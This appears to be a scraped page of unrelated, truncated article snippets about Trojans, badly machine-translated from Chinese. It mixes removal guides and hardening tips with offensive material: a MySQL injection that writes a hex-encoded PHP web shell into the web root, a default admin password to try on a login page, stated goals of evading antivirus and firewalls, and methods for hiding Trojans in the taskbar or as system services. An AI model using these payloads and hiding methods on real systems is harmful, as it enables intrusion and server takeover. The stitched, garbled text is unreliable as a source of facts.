Author: bixue Source: Eighth Army
To create a perfect IE webpage Trojan, we must first develop a perfect standard for us. I personally think that a perfect IE webpage Trojan should have at least four of the following features:
1. Attackers can bypass antivirus software attacks;
2. network firewall alarms can be avoided;
Iii. applicable to most IE versions (including IE5.0, IE5.5, and IE6.0) in most WIND
An experience of Linux Server intrusion and deletion of trojan programs
I. background
In the evening, we can see that the traffic of a server is very high. Obviously, the traffic is different from normal ones. The traffic reaches 800 Mbps. The first thought should be a medium trojan horse, which is regarded as a zombie and sending a large number of packets.
For the best performance, our server has not enabl
First, learn Bole recognize Ma Ma
Trojan This thing is essentially a kind of remote control software. However, remote control software is also divided into regular troops and mountain bandits. Regular units, as the name implies, is a legitimate way to help you remotely manage and set up computer software, such as Windows XP with the Remote Assistance function, generally this kind of software in the runtime, will appear in the system tray, clearly tol
Talking about the "cunning" USB Trojan: A system that threatens physical isolation
It is reported that a type of USB Trojan is found to be difficult to detect and analyze. The security vendor ESET security researchers initially discovered that the trojan is mainly infected and transmitted to physically isolated systems, is an "ideal"
The experience of a Trojan invasion and removal programFirst play through the backdoor Trojan as follows:(Of course, this is after the calm down after the slowly search out, at that time drink coffee feel like a free man)Trojan NameLinux.backdoor.gates.5http://forum.antichat.ru/threads/413337/First of all, there are several servers around 14 o'clock in the aftern
Computer in the Trojan how to quickly clear
Uploading Trojan back door is the first thing that hackers do after hacking into computers, to the Trojan can not be found after the disguise, so that if your computer has been hacked, but in fact you did not find, so at this time to quickly remove Trojan virus is a computer
Because the ASP itself is a server to provide a service function, especially recently by Dvbbs Upfile file loopholes, its high degree of concealment and difficult to kill, the site's security poses a serious threat. Therefore, for the prevention and removal of ASP Trojan, for network management personnel put forward a higher technical requirements.
Several large programs were found to have uploaded vulnerabilities, small program is countless, let ASP
Teach everyone to prevent Trojan, only for the Web Trojan, effective rate of more than 90%. Can prevent more than 90% Trojans are executed on your machine, or even anti-virus software can not find the Trojan may be prohibited to execute, first say the principle.
Now there are several ways in which a Web Trojan can be
360 compression will be a security rating for different types of files in the compressed package.
With 360 compression to open a compressed package, the compressed package will automatically detect the files in the cloud Trojan, to ensure the use of security.
Identify Trojans, scripts, common files, risk files, and in the upper right corner of the interface will have corresponding picture prompts.
Detection for the risk and
360 security guards constantly revision, some people will not find some of the features, then 9.0 should be how to upgrade the Trojan Horse library? Let's take a look.
1, first, open 360 security guards, Trojan Horse library in the bottom right of the interface, click up the Blue small arrow, the system will automatically detect Mumaku.
2. If a new version is found, 360 security guards will automat
is in the same directory. Take the above path for example, we visited the address: http://www.***.net/edit/admin_login.asp, to see if there is a login page.
If you do not see such a page, the administrator has deleted the management login page, hehe, wait for what, leave Ah, try another place. But generally speaking, I rarely see any admin deleted this page, try the default username: admin, Password: admin888. What do you think? Success (not the default account, please see the text)!
4. Increas
1, prevent from jumping out of the web directory
First modify httpd.conf, if you only allow your PHP script to operate in a Web directory, you can also modify the httpd.conf document to restrict the operation Path of PHP. For example, if your web directory is/usr/local/apache/htdocs, add a few lines to the httpd.conf:
Php_admin_value Open_basedir/usr/local/apache
/htdocs
In this way, if the script is to read documents other than/usr/local/apache/htdocs will not be allowed, if the error appear
Turn from: http://blog.csdn.net/zimou5581/article/details/73064878
Today, it happened that the server CPU occupancy rate has been 100%,top view the discovery is a process called wntkyg.
Online search said is a mining trojan, clean up to make a record.
The Trojan is shown below:
Try Pkill-9 Wntkyg kill the process and find out how long it appears
Feel good disgusting, poisoning reason should be redis not se
The website frequently hangs the horse? Do some improvement, basically can solve this problem, because Discuz X and so on the procedure existence flaw, was uploaded websehll, each time was deleted once again to come out, finally found all Trojan horse.From the following several aspects to find and strengthen (if you can not open the membership function, do not give any upload entrance, protect the background password, strengthen the PHP, generally no
Cough, we look at the good, I do not responsible for the consequences of
Copy Code code as follows:
SELECT * from ' vbb_strikes ' WHERE 1 Union Select 2,3,0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e From Vbb_strikes into outfile ' c:/inetpub/wwwroot/cmd.php '
Through the injection of MySQL or running the above statement in the phpMyAdmin, the c:/inetpub/wwwroot/cmd.php file is generated, the content is the original vbb_strikes content, followed by:
If you are a human, you have to compare your mind with your own articles that are hard to get out. At the very least, you have to read the post to show me your feelings? Who else has the confidence to do it? Drop diver!The trojan program tries its best to hide itself by hiding itself in the taskbar. This is the most basic method. As long as you set the Form's Visible attribute to False and ShowInTaskBar to False, the program will not appear in the tas
The trojan program tries its best to hide itself. The main ways are to hide itself in the taskbar. This is the most basic thing if you set the Visible attribute of Form to False and ShowInTaskBar to False, when the program runs, it will not appear in the taskbar. Stealth in Task Manager: setting a program as a "system service" can easily disguise itself. Of course, it will also start quietly, and you certainly won't expect the user to click the "
If we want to implant our Trojan on someone else's computer, we need to disguise ourselves first. Generally, there are two main methods to hide Trojans:1. disguise yourself as a general softwareMany users may have encountered such a situation. On the website, a small program that claimed to be a very interesting one was obtained and executed, but the system reportedInternal error. The program exits. Most people think that the program is not well devel
Rootkit. win32.ressdt. O/Trojan-Downloader.Win32.Agent.mjp Analysis
Original endurer2008-04-10 1st
It is something that Xialu has published on its official website.
Rootkit. win32.ressdt. O/Trojan-Downloader.Win32.AgentHttp://endurer.bokee.com/6681893.htmlHttp://blog.csdn.net/Purpleendurer/archive/2008/04/09/2271747.aspxHttp://blog.sina.com.cn/s/blog_49926d910100926n.html
File Description: D:/test/svcos.ex
Trojan Horse rampant ASP, based on the site of the ASP is always in danger, to make the site security at any time, need our server administrator to do what, how to prevent ASP Trojan? To prevent ASP Trojan, then we need to know its operating principles and mechanisms, the following we look at a piece of code:
Set oscript = Server.CreateObject ("Wscript.Shell") "
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